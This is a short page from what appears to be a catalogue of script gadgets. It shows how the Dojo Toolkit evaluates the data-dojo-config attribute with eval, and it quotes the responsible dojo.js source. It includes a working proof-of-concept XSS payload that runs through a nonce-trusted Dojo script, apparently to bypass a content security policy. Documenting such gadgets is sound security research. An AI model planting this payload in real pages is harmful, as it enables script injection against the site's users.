Dojo Toolkit | GMSGadget

.. / dojo-toolkit

Star Fork

A JavaScript toolkit that saves you time and scales with your development process. Provides everything you need to build a Web app. Language utilities, UI components, and more, all in one place, designed to work together perfectly.

dojo

...

Latest

The Dojo Toolkit library evaluates the data-dojo-config attribute using eval.

<!-- user input -->
<script data-dojo-config="}-alert(document.domain)-{"></script>

<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/dojo/1.17.3/dojo.js"></script>
<script nonce="secret">
    require([
      "dojo/parser",
      "dijit/form/Button",
      "dojo/domReady!"
    ], function(parser){
      parser.parse();
    });
</script>

More information

Root Cause

Source: https://github.com/dojo/dojo/blob/185a4fb314de482a1b6b5668095b998da9c1b58f/dojo.js#L721

if(has("dojo-cdn") || has("dojo-sniff")){
  // the sniff regex looks for a src attribute ending in dojo.js, optionally preceded with a path.
  // match[3] returns the path to dojo.js (if any) without the trailing slash. This is used for the
  // dojo location on CDN deployments and baseUrl when either/both of these are not provided
  // explicitly in the config data; this is the 1.6- behavior.

  var scripts = doc.getElementsByTagName("script"),
    i = 0,
    script, dojoDir, src, match;
  while(i < scripts.length){
    script = scripts[i++];
    if((src = script.getAttribute("src")) && (match = src.match(/(((.*)\/)|^)dojo\.js(\W|$)/i))){
      // sniff dojoDir and baseUrl
      dojoDir = match[3] || "";
      defaultConfig.baseUrl = defaultConfig.baseUrl || dojoDir;

      // remember an insertPointSibling
      insertPointSibling = script;
    }

    // sniff configuration on attribute in script element
    if((src = (script.getAttribute("data-dojo-config") || script.getAttribute("djConfig")))){
      dojoSniffConfig = req.eval("({ " + src + " })", "data-dojo-config");

      // remember an insertPointSibling
      insertPointSibling = script;
    }

    // sniff requirejs attribute
    if(has("dojo-requirejs-api")){
      if((src = script.getAttribute("data-main"))){
        dojoSniffConfig.deps = dojoSniffConfig.deps || [src];
      }
    }
  }
}